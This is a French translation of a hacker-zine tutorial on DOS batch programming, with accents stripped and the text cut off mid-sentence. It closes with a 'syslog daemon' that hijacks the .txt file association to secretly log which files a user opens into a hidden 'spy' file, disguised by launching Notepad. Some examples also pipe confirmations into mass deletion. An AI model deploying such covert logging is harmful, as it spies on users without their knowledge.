---------------------------------------------------------------------------
Programmation Batch par Ankit Fadia (ankit@bol.net.in)
traduit par sirius_black (sirius_black@imel.org)
pour le BlackSun Research Facility (blacksun.box.sk)
Intgr dans LOTFREE#06 avec l'aimable autorisation du BSRF
---------------------------------------------------------------------------

La programmation  Batch n'est  rien  d'autre  que la version  Windows de la
pogrammation Shell sous unix.  Tout d'abord essayons de comprendre ce qu'il
se passe lorsque  nous tapons une commande DOS.  En gros DOS est un fichier
appel command.com.
C'est ce fichier  (command.com)  qui gre toutes les commandes DOS que vous
passez  au  prompt DOS.  Commandes telles  que COPY,  DIR,  DEL,  etc.  Ces
commandes  sont intgres au  fichier command.com  (on dit  que ce sont des
commandes  internes).  A l'oppos il y a des  commandes DOS externes telles
que FORMAT, UNDELETE, BACKUP, etc.

Qaund nous  donnons une commande DOS,  command.com  l'excute immdiatement
( Commandes  Internes )  ou  appelle  un  programme  extrieur  ( Commandes
externes) puis revient au prompt.

Alors pourquoi j'aurais  besoin de programmer un fichier Batch ?  Imaginons
que vous devez excuter  la mme suite de commandes,  encore et encore pour
effectuer une  tache habituelle comme la  sauvegarde de fichiers importants
ou encore la suppressions des fichiers temporaires (*.tmp, *.bak, ~.* etc.)
Ce serais  bien  d'automatiser  a non ?  Ce  serais  plus agrbale  et  on
gagnerais du temps.
C'est justement le rle des fichiers Batch.
Les fichiers Batch sont au DOS ce que les Macros sont  Microsoft Office et
sont donc appels quand on le souhaite et  autant de fois qu'on le souhaite
pour effectuer une suite de commandes prdfinies.

Mais comment  je fais pour  crer un fichier  Batch ?  En fait les fichiers
Batch ne sont rien de plus que des fichiers textes  contenant des commandes
DOS.  N'importe quel diteur de texte PUR pourra tre utilis (Notepad,  la
commande EDIT du DOS, UltraEdit...) mais pas Word ou Dreamweaver !!
Tout ce  dont vous  devez  vous  rappeller  est qu'un  fichier Batch  a une
extension .bat (point bat).
Pour excuter un Batch,  rien de plus simple.  Par exemple si vous crez un
fichier nomm  prog.bat il  vous suffit  de l'appeller  de l'une  des  deux
faons suivantes :

C:\WINDOWS> prog.bat
ou
C:\WINDOWS> prog

Mais que  se passe t-il lorsque  l'on donne  excuter  un fichier  Batch 
command.com ?
Quand command.com croise un fichier Batch, il passe en mode batch.  Dans ce
mode il lit les lignes du fichier les une aprs les autres.
En fait  il commence par ouvrir le  fichier Batch,  lit la  premire ligne,
ferme le  fichier et excute la  commande qu'il  a lu.  Puis il re-ouvre le
fichier, lit la seconde ligne et ainsi de suite.
Les fichiers Batch sont donc considrs comme des commandes DOS internes.

*************************
Hacking Truth : Quand vous  crez  un fichier Batch  ne lui  donnez pas  le
nom d'une  commande DOS.  Par exemple,  si vous crez un Batch avec  le nom
dir.bat et que vous l'excutez  partir du prompt il ne se passera rien.
La raison  est que  quand command.com  rencontre  une commande,  il regarde
d'abord s'il s'agit d'une commande interne.
Si ce  n'est  pas  le cas  il cherche  un .com  ou  un  .exe  avec  le  nom
correspondant.
Toutes les commandes externes DOS  ont une extension com ou exe si bien que
DOS ne prend pas la peine de regarder si il existe un programme Batch.
*************************
Passons  maintenant     votre  premier  fichier  Batch.   Contrairement  
d'habitude nous  n'allons pas faire un "Hello World"  mais un programme qui
excutera un programme exe.  Tappez juste ce qui suit dans un fichier texte
vide et donnez lui l'extension .bat.

C:
cd windows
telnet

Analysons le code.  La premire ligne dit  command.com d'aller au C: ,  la
seconde lui dit de changer pour le rpertoire 'windows'.  La dernire ligne
demande l'excution  du client  Telnet.  On  peux penser  que cet  appel ne
marche pas  car le nom complet  du client est  telnet.exe  mais command.com
rajoute actuellement l'extension .exe.
Normallement nous  n'avons pas   changer le rpertoire courant car  le rp
par dfaut est C:\WINDOWS\. On peut donc crire seulement :

telnet

Maintenant excutons ce programme Batch et observons les rsultats. Il nous
suffit de tapper dans la fentre DOS :

C:\WINDOWS> nom_du_fichier_batch

On voit :
C:\WINDOWS> telnet
Comme on a vu  DOS excute la commande  notre place.
Effectivement Telnet apparait. Maintenant tudions les commandes Batch.

La commande REM

La commande  Batch la  plus simple est la  comande REM ou REMark.  Elle est
utilise pour  mettre des commentaires dans le code  et donc le rendre plus
comprhensible pour  les lecteurs.  Cette commande ignore  tout ce qui suit
sur la mme ligne. On peut donc modifier notre programme ainsi :

REM   Ce fichier Batch  est mon premier programme Batch  et lance mon outil
REM   de hacking prfr

telnet

Attention,  les Remark c'est bien,  en abuser  a craint.  Ils ralentissent
l'excution du programme alors il faut les utiliser avec modration.

La commande ECHO

Elle correspond  la fonction Print dans d'autre langages de programmation.
Elle permet  d'afficher  quelque  chose    l'cran.  On peut  par  exemple
afficher o  en est  le programme.  Il est  vrai que  les programmes  Batch
affichent toutes  les commandes excutes mais ce n'est pas forcment assez
parlant pour l'utilisateur. Voici un exemple d'utilisation :

ECHO Ce fichier Batch efface tous les fichiers temporaires prsents sur
ECHO votre system.
ECHO Nous allons dans WINDOWS\TEMP
cd windows\temp
ECHO On efface tous les fichiers indsirables
del *.tmp
ECHO Votre systme est maintenant nettoy

Regardons ce que donne l'excution :

C:\WINDOWS> prog
C:\WINDOWS> ECHO Ce fichier Batch efface tous les fichiers temporaires
prsents sur
Ce fichier batch efface tous les fichiers temporaires prsents sur
C:\WINDOWS> ECHO votre system.
votre system.
C:\WINDOWS> ECHO Nous allons dans WINDOWS\TEMP
Nous allons dans WINDOWS\TEMP
C:\WINDOWS> cd windows\temp
Invalid directory
C:\WINDOWS> ECHO On efface tous les fichiers indsirables
On efface tous les fichiers indsirables
C:\WINDOWS> del *.tmp
C:\WINDOWS> ECHO Votre systme est nettoy
Votre system est nettoy

Bon le rpertoire n'est pas bon mais on s'en fout.  Ce qui est gnant c'est
que les  commentaires ET les  commandes sont affiches.  La solution est de
mettre  la premire ligne (on dcale les autres) :

ECHO OFF

Si on relance le programme on obtiens :

C:\WINDOWS> ECHO OFF
Ce fichier Batch efface tous les fichiers temporaires prsents sur
votre systme.
Nous allons dans WINDOWS\TEMP
Invalid directory
On efface les fichiers indsirables
File not found
Votre system est nettoy

Cool !!  Mais a  affiche encore  'ECHO OFF' au dbut.  On va  utiliser une
astuce qui  permet de  cacher l'excution  d'une  commande.  Pour  cela  il
suffit de prcder la commande par un '@'. On a donc la premire ligne :

@ECHO OFF

On peut penser que pour afficher une ligne de vide il suffit de tapper ECHO
sans rien aprs mais cela affiche si ECHO est ON ou OFF.
Pour avoir une ligne vide il faut alors tapper :

ECHO.

On peut  bien sr  alterner le  camouflage  / l'affichage des  commandes en
tappant ECHO ON ou ECHO OFF.

La commande PAUSE

Imaginons que  vous ayez cr un  fichier Batch  qui liste  le contenu d'un
rpertoire avant  d'effectuer d'autres taches.  Ou encore avant  de deleter
tous les fichiers du rpertoire vous devez laisser  l'utilisateur le temps
de rflchir.  PAUSE,  le nom veut tout dire,  on l'utilise  pour suspendre
l'excution d'un script.
Considrez le scnario suivant :

REM Ce programme Batch efface les fichiers *.doc dans le repertoire courant
REM mais il donne  l'utilisateur la possibilit de stopper l'excution.
@ECHO OFF
ECHO WARNING : Cela va effacer tous les documents Microsoft Word.
ECHO Faites CTRL+C pour abandonner ou appyez sur une touche pour continuer.
PAUSE
DEL *.doc

Lorsque nous excutons le programme nous obtenons l'affichage suivant :

C:\WINDOWS> a.bat
WARNING : Cela va effacer tous les documents Microsoft Word.
Faites CTRL+C pour abandonner ou appuyez sur une touche pour continuer.
Press any key to continue...

Ce programme  Batch demande   l'utilisateur  s'il dsire continuer  et lui
donne la possibilit  d'arrter le processus.  Appuyer sur CTRL+C stoppe le
programme (CTRL+C et CTRL+Break donnent le mme rsultat).

^C

Terminate batch job (Y/N)? y

Vous retournez alors au prompt DOS.

*************************
HACKING TRUTH  :  Vous venez de  faire un fichier  Batch dans le rpertoire
c:\name.  Quand  vous lancez  command.com  le  rpertoire  par  dfaut  est
c:\windows et si  vous voulez appeler le programme dans  c:\name vous devez
changer de  rpertoire courant.  L encore cela peut tre  vite nervant et
vous fait perdre du temps.  C'est une bonne ide de  stocker tous ses Batch
dans le mme rpertoire.  Vous pouvez lancer n'importe quel programme et ce
de n'importe o du moment que le rpertoire de stockage est dans le fichier
AUTOEXEC.BAT, ainsi DOS sait o allez chercher les programmes.
Il  vous suffit  d'ouvrir  c:\autoexec.bat  avec Notepad et de  rajouter la
dclaration PATH  la ligne suivante  (on suppose que que c:\name est votre
dossier de stockage) :

SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;C:\NAME

Autoexec.bat est lanc  chaque dmarrage et permet donc  DOS de savoir o
chercher nos fichiers Batch.
*************************

Les paramtres : Passer des informations  un programme Batch

Pour rendre vos Batch vraiment intelligent vous avez besoin de leur fournir
des paramtres  qui ne sont  rien de plus  que des  informations supplmen-
taires qui rendront vos programmes plus efficaces et plus flexibles.
Pour comprendre comment marchent les paramtres, regardez ce script :

@ECHO OFF
ECHO Le premier paramtre est %1
ECHO Le second est %2
ECHO Le troisime est %3

De toute vidence le script echo (affiche) des messages  l'cran, mais que
signifient les tranges symboles %1, %2 etc. ? Pour comprendre leur utilit
lanons le script sous DOS en lui passant des arguments :

C:\WINDOWS> nom_fichier_batch abc def ghi

Ce Batch gnre le rsultat suivant :

C:\WINDOWS> nom_fichier_batch abc def ghi
Le premier paramtre est abc
Le second est def
Le troisime est ghi

La premire ligne en sortie est produite par la ligne de code :

ECHO Le premier paramtre est %1

Quand DOS rencontre le symbol %1,  il examine la commande  d'appel du Batch
et rcupre  le premier mot  (argument)  aprs le  nom du fichier  batch et
l'utilise    la  place  de la  variable %1.  Bref %1  dsigne  le  premier
argument,  %2  le  second  etc.  On appelle  ces  symboles  des  paramtres
remplaables car  il ne  s'agit pas  d'une  affectation mais  plutt  d'une
liaison avec les  arguments sur la ligne de commande.  On peut dire que %1,
%2, %3... sont des rfrences.

Quand on passe plus de paramtres  un programme Batch que ncessaire,  les
paramtres supplmentaires sont tous simplement ignors.

Passons maintenant   un  exemple  plus pratique  des paramtres,  que l'on
pourrait rellement rencontrer.  Le script que nous allons tudier requiert
que  l'utilisateur  passe  le nom  des  fichiers    effacer  ainsi que  le
rpertoire o ils se situent.

@ECHO OFF
CD\
CD %1
DEL %2

Nous pouvons appeler ce script  partir du prompt DOS de la faon suivante:

C:\WINDOWS> nom_fichier_batch WINDOWS\TEMP *.tmp

Pour un script donn  nous ne pouvons pas utiliser plus  de neuf paramtres
remplaables.  Donc il y a juste les rfrences %1  %9.  En ralit il y a
un dixime paramtre : le paramtre %0.  Ce derner contient le nom du batch
lui-mme.

*************************
HACKING TRUTH  :  Vous  voulez  qu'au  lancement  d'un  programme  celui-ci
s'excute puis quitte MS DOS pour retourner  Windows ? Pour cela il suffit
de rajouter la commande EXIT  la fin de votre script.
EXIT
*************************

la commande SHIFT

Il se peut que vous ayez besoin de plus de neuf paramtres une fois  (on va
dire que oui).  Il est possible d'un manipuler plus de neuf en utilisant la
commande SHIFT :

@ECHO OFF
ECHO Le premier paramtre est %1
ECHO.
SHIFT
ECHO Le second paramtre est %1
ECHO.
SHIFT
ECHO Le troisime paramtre est %1

Excutons le programme et regardons ce qu'il se passe.

C:\WINDOWS> fichier_batch abc def ghi

Le premier paramtre est abc

Le second paramtre est def

Le troisime paramtre est ghi

Comment ca marche  ?  Et bien la commande SHIFT dcrmente la  position des
arguments de une position.  Ce qui signifie que aprs le premier SHIFT,  %1
devient def, %2 devient ghi et abc est dtruit par DOS. Tous les paramtres
se dcalent donc d'une position vers le bas.

Les paramtres normaux (%1, %2 etc)  et la commande SHIFT peuvent tre trs
utile si on les  utilise avec la condition IF pour vrifier  les paramtres
passs par l'utilisateur.

La boucle FOR

La syntaxe de la boucle FOR est :

FOR %%PARAMTRE IN(srie) DO command

Pas mal de  personnes changent d'optique  sur la programmation  Batch quand
ils rencontrent la syntaxe FOR. Je suis d'accord quelle peut sembler un peu
inquitante,  mais ce  n'est pas  si difficile  que cela  en a l'air.  Nous
allons  les  diffrentes  parties de  la commande  FOR mais  avant tudions
l'exemple suivant :

@ECHO OFF
CLS
FOR %%A IN (abc, def, xyz) DO ECHO %%A

La commande CLS est utilise pour 'vider' la console.  Elle efface tous les
caractres prsents.
Dans  une boucle  FOR nous dclarons  une variable  (%%A ici)  et nous  lui
assignons les diffrentes valeurs d'une suite de valeurs prdfinies  (abc,
def, ghi dans notre cas). Les affectations se font dans l'ordre donn.
A chaque affectation la boucle FOR excute une commande (ici ECHO %%A).

La variable %%A  est celle qui reoit  les diffrentes valeurs  au fr et 
mesure que la boucle les croise (les valeurs stockes entre parenthses).
Vous pouvez utiliser n'importe quel  caractre seul aprs les deux signes %
sauf les  caractres 0   9.  Nous utilisons  deux % car DOS  efface chaque
occurence d'un seul signe % dans un programme Batch.

Le IN (abc, def, ghi) est la liste traverse par la boucle FOR. La variable
%%A reoit les diffrentes valeurs entre parenthses  chaque passage de la
boucle.  Les  items de  la suite  (le terme  technique pour  l'ensemble des
valeurs entre parenthses) peuvent tre spars par des virgules,  les deux
points ou simplement des espaces.

Pour chaque item de la suite  (le IN)  la boucle FOR excute la commande se
trouvant aprs le mot cl DO (dans notre exemple la boucle fait ECHO %%A).

Si bien que lorsque nous lanons cet exemple nous obtenons :

abc
def
ghi

La  boucle  FOR  devient  vraiment  puissante  si  on  l'utilise  avec  des
paramtres remplaables. Par exemple dans le Batch suivant :

@ECHO OFF
ECHO.
ECHO Je vais effacer les fichiers suivants :
ECHO %1 %2
ECHO.
ECHO Faites CTRL+C pour annular le processus
PAUSE
FOR %%a IN (%1 %2) DO DEL %%a
ECHO Fichiers dtruits. Mission accomplie.

A l'excution on doti obtenir cela :

C:\WINDOWS> nom_batch *.tmp *.bak

Je vais effacer les fichiers suivants :
*.tmp *.bak

Faites CTRL+C pour annuler le processus
Press any key to continue...

Fichiers dtruits. Mission accomplie.

-------------------------

IF : Les branchements conditionnels

La dclaration IF  est une commande trs utile qui nous premettra de rendre
nos fichiers  Batch plus  intelligents et  plus utiles.  En utilisant cette
commande,  le programme peut excuter telle ou telle tache en fonction d'un
paramtre. IF ne permet pas seulement de vrifier les paramtres, il permet
aussi  de  vrifier  l'existence  d'un  fichier.  Mais  avant tout  on peut
utiliser IF pour tester les variables.

Vrifier si un fichier existe ou non

La syntaxe de la commande IF pour cette tache est la suivante :

IF [NOT] EXIST nom_fichier commande

Ce sera plus clair aprs cet exemple :

IF EXIST c:\autoexec.bat ECHO Le fichier existe

Cette commande regarde si le fichier autoexec.bat existe ou non. Si tel est
le cas le script affiche la chane de caractres 'Le fichier existe'.  Dans
le cas o le fichier n'existe pas alors il ne se passe rien.

Il est  aussi possible  de mettre  une clause 'else',  c'est   dire si  le
fichier existe  on fait  ce qui est prvu mais  si il n'existe  pas on fait
autre chose. Ceci peut tre fait avec la commande GOTO. Etudions un exemple
pour rendre cela plus clair :

@ECHO OFF
IF EXIST c:\ankit.doc GOTO ANKIT
GOTO end
:ANKIT
ECHO ANKIT
:end

La dclaration IF dans ce code regarde si un fichier existe, c:\ankit.doc.
Si c'est  le cas alors  DOS saute    :ANKIT.  Dans le cas  contraire,  DOS
continue  la ligne suivante (GOTO end) qui le dirige vers :end.
Les :end et :ANKIT sont ce que l'on appelle des labels.

*************************
HACKING TRUTH  :  Nous pouvons vrifier l'existence de plusieurs fichiers 
la fois de la faon suivante :
IF EXIST c:\autoexec.bat IF EXIST c:\ankit.doc ECHO Les deux existent
*************************

Pour vrifier la non-existence d'un fichier, la syntaxe devient :

IF NOT EXIST nom_fichier commande

Par exemple,

IF NOT EXIST c:\ankit.doc ECHO Le fichier n'existe pas

*************************
HACKING TRUTH : Peut-on vrifier la prsence d'un rpertoire ? Non.
"IF EXIST c:\windows ECHO Le dossier existe"  ne marchera pas.  Dans ce cas
nous allons faire appel au priphrique NULL. En fait ce priphrique n'est
rien. Comprenez par l qui pointe vers le nant.  Chaque dossier possde un
fichier NULL (du moins DOS le croit). Si bien que pour vrifier l'existence
de c:\windows, nous tapperons simplement :

IF EXIST c:\windows\nul ECHO c:\windows existe.

De la mme faon nous pouvont tester l'existence d'un lecteur ou d'un HD :

IF EXIST c:\io.sys ECHO Le disque c: est valide
*************************

Comparaison de chaines de caractres

La syntaxe est :

IF [NOT] chaine1==chaine2 commande

Maintenant faisons voluer nos scripts  en leur faisant effectuer une tche
en fonction  des paramtres passs  par l'utilisateur.  Essayons ce bot de
code suivant :

@ECHO OFF
IF %1==cp GOTO COPY
GOTO DEL
:COPY
copy %2 a:
GOTO END
:DEL
del %2
:END

Cet exemple se  passe de commentaires.  Tout d'abord IF compare  le premier
paramtre  'cp'.  Si ils correspondent alors DOS saute au label COPY sinon
il continue sur le label :DEL.  Cet exemple fonctionne uniquement si le bon
nombre d'arguments a t pass.

Nous pouvons  modifier notre script pour qu'il vrifie qu'il y  ai au moins
un argument. Si ce n'est pas le cas alors il affichera un message d'erreur.

@ECHO OFF
IF "%1" == "" ECHO Mettez votre message ici

De la mme faon nous pouvons vrifier l'existence du second paramtre.  On
peut aussi utiliser la clause NOT pour les chaines de caractres.

La commande CHOICE

Avant de  vous apprendre  comment utiliser  la commande CHOICE,  vous devez
d'abord savoir  ce que sont les 'error levels'.  Les niveaux  d'erreur sont
gnrs par  les programmes  pour informer  de la  faon  dont ils  se sont
termins ou  de la faon  dont on les a  oblig  se terminer.  Par exemple
losque nous stoppons un  programme avec CTRL+C  celui-ci renvoie un niveeau
d'erreur de 3.  Quand un programme se termine normalement  (avec succs) il
renvoie 0. Ces codes n'ont pas d'utilit en eux mme mais combins avec les
IF ERROR LEVEL et la commande CHOICE, ils s'avrent trs pratiques.

La commande CHOICE prend une lettre  ou une touche du clavier et renvoie le
code d'erreur  qui lui est associ.  La syntaxe gnrale  de cette commande
est :

CHOICE [chane] [/C:touches] [/S] [/N] [/T:touches, secondes]

La chane n'est rien d'autre que la phrase affiche lors du lancement de la
commande CHOICE.

Le /C:touches dfini les diffrentes touches qui peuvent tre prsses.  Si
cette option  n'est pas  utilise  alors  les touches  Y/N sont  prises par
dfaut.

Par exemple, la commande

CHOICE /C:A1T0

Dfini A,  1,  T et 0 comme les  diffrentes touches  possibles.  Si durant
l'excution,  l'utilisateur entre autre chose  que l'une des touches propo-
ses, il entendra un 'beep' et le programme  continuera de lui demander une
touche.

L'option /S rend les touches proposes par l'option /C sensibles  la casse
c'est  dire que la distinction  entre les majuscules et les minuscules est
active. Par exemple si l'option /S est prsente alors A et a sont consid-
res comme diffrentes.

Si l'option  /N est  utilis alors  les diffrentes touches  possibles sont
affiches entre parenthses lors de l'excution du programme.

/T:touche,secondes  permet de dfinir  quelle touche  est prise  par dfaut
aprs un certain laps de temps coul. Par exemple :

CHOICE Choisissez votre navigateur /C:NI /T:I.5

affiche  "Choisissez votre navigateur  [N,I]"  et  si  aucune  touche n'est
presse au bout de 5 secondes alors 'I' est choisie d'office.

Maintenant pour  vraiment combiner  la commande CHOICE avec la  commande IF
ERROR LEVEL, vous avez besoin de savoir ce que la commande CHOICE retourne.

La commande CHOICE est conue pour retourner un niveau d'erreur en fonction
de la touche appuye et de sa position dans l'option /C. Pour claircir les
choses, considrons l'exemple suivant :

CHOICE /C:AN12

Rappelez vous que  le code d'erreur retourn  dpends de la touche presse.
Cela signifie que si la touche A est presse alors le niveau d'erreur est 1
,  si la touche N est presse  alors le code d'erreur 2 est retourn,  si 1
est press alors  le code d'erreur  est de 3 et si 2 est press,  le niveau
d'erreur sera 4.

Maintenant voyons comment fonctionne la commande IF ERROR LEVEL. La syntaxe
gnrale de cette commande est :

IF [NOT] ERRORLEVEL numro commande

Cette  dclaration  value le  numro du  niveau d'erreur  courant.  Si  la
condition est vrifie alors la commande est effectue. Par exemple :

IF ERRORLEVEL 3 ECHO Oui

La code ci-dessus affiche Oui si le code d'erreur courant est 3.
Le point important  retenir dans  la dclaration est que l'valuation d'un
niveau d'erreur est vrifie si le niveau d'erreur est suprieur ou gal au
nombre auquel on le compare. Exemple :

IF ERRORLEVEL 2 ECHO Oui

La condition est vrifie si le niveau d'erreur est suprieur ou gal  2.

Maintenant que  vous savez  manier les  commandes  CHOICE et  IF ERRORLEVEL
ensemble, vous n'aurez aucun mal  crer un menu pour un programme.
Voici un  script  Batch qui  demande   l'utilisateur  quel  navigateur  il
souhaite lancer :

@ECHO OFF
ECHO.
ECHO.
ECHO Bienvenue au programme de slection de navigateur
ECHO.
ECHO 1. Internet Explorer
ECHO 2. Netscape
ECHO X. Quitter
ECHO.
CHOICE "Choisissez un navigateur" /C:12x /N
IF ERRORLEVEL 3 GOTO END
IF ERRORLEVEL 2 start c:\progra~1\Netscape
IF ERRORLEVEL 1 start c:\progra~1\intern~1\iexplore.exe
:END

NOTE : Remarquez l'ordre dans lequel nous faisons les tests IF.

Redirection

Normallement la sortie est l'cran (le standart STDOUT) est l'entre est le
clavier (STDIN).  Cela peut tre  trs ennuyant.  Vous pouvez tout  de mme
rediriger   la  fois  l'entre  et  la sortie  vers autre  chose  que  les
priphriques I/O standards.

Pour envoyer  la  sortie  vers  autre  chose  que  l'cran  nous  utilisons
l'oprateur de  redirection de sortie  '>'  qui est couremment utilis pour
enregistrer les rsultats  d'une commande dans un fichier texte.  Imaginons
que vous dsirez lire l'aide de la commande NET,  ce qui n'est pas facile 
l'cran car nous avons un espace de lecture restreint  et il est impossible
de remonter.  Pour viter cela nous utilisons l'oprateur de redirection de
sortie afin de capturer les rsultats de la commande dans un fichier texte.

C:\WINDOWS> net > xyz.net

Cette commande  excute la commande NET  et enregistre  le rsultat dans le
fichier xyz.txt.  Quand DOS croise cet oprateur,  il regarde si le fichier
existe  ou non.  Si oui  alors tout  ce qui se  trouve dans  le fichier est
effa et le rsultat de la commande y est mis.  Si le fichier n'existe pas
DOS cr un nouveau fichier et enregistre le rsultat dedans.

Supposons que vous voulez enregistrer  les rsultats de plus d'une commande
dans le mme fichier texte,  et vous voulez vous assurer  que les rsultats
de chaque commande  ne sont pas effaes  par la suivante.  Pour cela  vous
utilisez le symbole  de la double  redirection de sortie qui est le symbole
'>>'. Par exemple :

C:\WINDOWS> net >> xyz.txt

Cette commande  dit   DOS d'excuter  la commande  NET et  de  rajouter le
rsultat  la fin u fichier xyz.txt si le fichier existe.

DOS ne permet pas  seulement la redirection vers das fichiers mais aussi la
redirection vers diffrents priphriques.

NOM DU PERIPHERIQUE              PERIPHERIQUE

AUX                              Priphrique auxiliaire (COM1)
CLOCK$                           Real Time Clock
COMn                             Port Srie (COM1, COM2, COM3, COM4)
CON                              Console (Clavier, cran)
LPTn                             Port parrallle (LPT1, LPT2, LPT3)
NUL                              Le priphrique NUL (nant)
PRN                              Imprimante

Dans le cas o vous dsirez imprimer le rsultat d'un listage de rpertoire
alors vous pouvez tout simplement taper :

C:\WINDOWS> dir *.* > PRN

Le priphrique NUL  (nant)  est un peu difficile   comprendre et demande
une attention  particulire.  Ce priphrique,  aussi connu sous  le nom de
'bit bucket'  signifie  litralement  rien.  Son  utilit  est  de  pouvoir
supprimer les messages que le DOS envoit lors de l'achvement d'une tche.
Par exemple quand DOS copie avec russite un fichier, il affiche le message
'1 fichier(s) copi(s)'.
Pour supprimer ce message nous pouvons faire appel au priphrique NUL.

C:\WINDOWS> copy fichier.txt copie.txt > NUL

Nous n'obtenons pas la message de russite.

Redirection de l'entre

De la  mme faon  que nous  redirigons la  sortie,  nous pouvons rediriger
l'entre.  Nous avons  recours au  symbole  '<' de redirection  de l'entre
standard.  On l'utilise  couramment pour  envoyer le  contenu d'un  fichier
texte vers DOS.  Une utilisation  courante de  cet oprateur  est lie  la
commande MORE qui affiche du texte  au fr et  mesure contrairement  TYPE
qui affiche tout le fichier en une fois  (ce qui rend impossible la lecture
des fichiers longs). Si bien que beaucoup de personnes envoient leurs longs
fichiers texte  la commande DOS de cette faon :

C:\WINDOWS> MORE < xyz.txt

Cette commande envoie le contenu du  fichier xyz.txt  la commande MORE qui
l'affiche page aprs page.  Une fois la premire page lue  la commande MORE
affiche quelque chose come cela  l'cran :

--Encore--(2%)

il est  aussi possible d'envoyer les frappes de  touches  n'importe quelle
commande DOS  qui attend  des donnes  de  la  part de  l'utilisateur  pour
effectuer telle ou telle tche. Il est aussi possible d'envoyer des frappes
de touches multiples.  Par exemple,  la commande FORMAT  demande en gnral
quatre entres. Tout d'abord il faut tapper Entre pour lancer la commande,
ensuite c'est le prompt  d'Insertion de Disque  puis celui du Nom de Volume
et pour terminer celui pour formater un autre disque.  En fait il y a trois
entres utilisateurs  :  Entre,  Entre N et Entre  (Entre est la retour
chariot). Il est alors possible de mettre ces entres dans un fichier Batch
et de les envoyer  la commande FORMAT de cette manire :

C:\WINDOWS> format a: < xyz.bat

PIPING (Tubage)

Le Piping (il n'y a pas vraiment de traduction Franaise alors on va parler
de  tubage)  est  une  fonction  qui  permet  de  combiner   la  fois  les
redirections  d'entre et de sortie.  Pour cela nous utilisons  l'oprateur
Pipe  qui a  pour  symbole  '|'.  Cette commande  capture la  sortie  d'une
commande et  l'envoie en  tant qu'entre  une  autre commande.  Prenons un
exemple :  quand vous faites un  del *.*,  il vous faut confirmer  que vous
dsirer  effacer  les  fichiers en pressant  la touche  y.  A la  place  de
demander l'interraction de l'utilisateur nous pouvons donc faire :

C:\WINDOWS> echo y | del *.*

Cette commande  parle d'elle mme,  'y'  est envoy  la  commande  del *.*
La programmation de fichiers Batch peut tre trs simple et vraiment utile.
Ce qui fera de vous  le Jedi de la  programmation Batch,  c'est la  connai-
ssance appropri des commandes DOS.  Je vous suggre de surfer sur Internet
ou d'acheter un livre sur les commandes DOS, c'est seulement de cette faon
que vous deviendrez un expert en la matire.

Crer son propre Dmon Syslog (Syslog Daemon)

Nous pouvons  facilement combiner  la puissance  des programmes  Batch avec
l'interface modulaire  de Windows  dans l'objectif  de crer un  petit mais
efficace dmon de surveillance du systme (System Logging Daemon).
En gros le  Syslog Daemon peut  garder des traces des  fichiers qui ont t
ouverts  (toutes sortes de fichiers),  le temps durant  lequel ces fichiers
ont t ouverts et mme faire  en sorte que notre dmon poste tout cela sur
le web afin que l'admin systme puisse tout surveiller  distance.

Suivez simplement les tapes pour fabriquer notre dmon :

NOTE : Dans l'exemple suivant, je cre un dmon de surveillance systme qui
garde un oeil sur quels fichiers ont t ouverts par l'utilisateur.  Il est
trs facile de configurer le type de fichier surveill en lisant les tapes
suivantes.

1. ASSOCIER LES FICHIERS QUI DOIVENT TRE SURVEILLES AU LOGGER

En vrit ce  n'est pas la  premire tape  mais la plus  simple.  Comme je
viens de le dire nous allons associer un type de fichier (ici *.txt)   nos
fichiers  Batch  qui contiendront  le  code  permettant  d'enregistrer  les
activits de l'utilisateur.  Vous pouvez  bien entendu  surveiller d'autres
fichiers,  la  procdure  est  similaire.  Revenons    nos  moutons,  nous
associons les fichiers .txt   nos programmes Batch si bien que chaque fois
qu'un fichier texte est ouvert, le programme Batch est aussi excut.  Pour
cela nous devons changer le programme associ aux fichiers .txt.
Pour plus d'informations sur le changement d'association  fichier/programme
reportez vous  l'aide de Windows avec le mot cl "association". Pour faire
en sorte que  nos fichiers .txt soient associs   notre fichier Batch nous
faisons simplement les manipulations suivantes :

Prenez n'importe quel fichier .txt  sur votre ordinateur et slectionnez le
(un simple click gauche).  Maintenant laissez appuy sur la touche SHIFT du
clavier et  faites  un  click  droit  sur le  fichier.  Le menu  apparat ;
slectionnez  l'option  'Ouvrir avec'.  Cela  va  ouvrir une  fentre  vous
proposant  le  programme   utiliser pour  lire  le  fichier.  Cliquez  sur
'Choisir le programme...'. Localisez notre script Batch et slectionnez le.
Assurez vous que la case  'Toujours utiliser le programme  slectionn pour
ouvrir ce type de fichier' est coche puis validez.
A partir de maintenant l'ouverture d'un fichier texte lanera notre fichier
Batch.
Il est bien videmment possible de restaurer  l'association en recommencant
la manipulation et en slectionnant Notepad.

2. CREER LE FICHIER DE LOG (LOG FILE)

Maintenant il  faut crer  un fichier  .txt  qui aura  le mme  rle  qu'un
fichier de log : enregistrer l'activit de l'utilisateur.
Ce fichier contiendra le nom du fichier  et l'heure  laquelle ce fichier a
t ouvert. Crez un nouveau fichier texte vide dans le mme rpertoire que
le fichier Batch.  Maintenant changeons les attributs  de ce fichier de log
afin de le rendre invisible. Nous utilisons la commande ATTRIB :

C:\WINDOWS> attrib xyz.txt +h

De cette faon  on s'assure qu'un  lamer ne saura  pas o se  trouve  notre
fichier espion.

3. CODER LE PROGRAMME BATCH DE SURVEILLANCE

La programmation  d'un tel programme  est vraiment simple.  Si vous avez lu
attentivement ce tutorial jusque l, vous ne devriez avoir aucune difficul-
t   comprendre ce qui  va suivre.  Cela dit j'ai tout  de mme insr des
commentaires pour les dbutants.

ECHO %1 >> xyz.txt /* On envoie le nom du fichier dans notre Log File */
notepad %1 /* Nous lanons l'diteur de texte pour simuler un
            * fonctionnement normal. */

Ce script ne fait qu'enregistrer le nom du fichier  ouvert par notre lamer,
pour savoir  quand le  fichier a  t ouvert il  nous suffit  d'utiliser la
commande TIME.  Notez qu'aprs avoir excut  la commande TIME  nous devons
tapper la touche Entre, ce qui sera grer par notre Batch.

Bon vous tes l'administrateur d'un systme et vous tes en vacances.  Vous
n'avez pas  d'accs  physique  au systme  mais vous  disposez  d'un  accs
Internet.  Vous pouvez facilement  rendre le fichier de log  accessible par
Internet.  Vous pouvez aussi faire en sorte que cette partie administration
soit protge par mot de passe.  Pour vous rendre facilement sur ce fichier
de log vous pouvez crer un fichier  .htm ou  .html qui pointera vers notre
fichier de log :

--fichier html--
<HTML>
<TITLE>Server Logs</TITLE>
<BODY>
< A HREF="xyz.txt">Cliquez ici pour lire les Logs du Serveur</A>
</BODY>
</HTML>
--fin fichier--

Ceci est l'exemple le plus simple de fichier que vous pouvez crer.

Une autre fonctionnalit que vous pouvez rajouter est  empcher l'ouverture
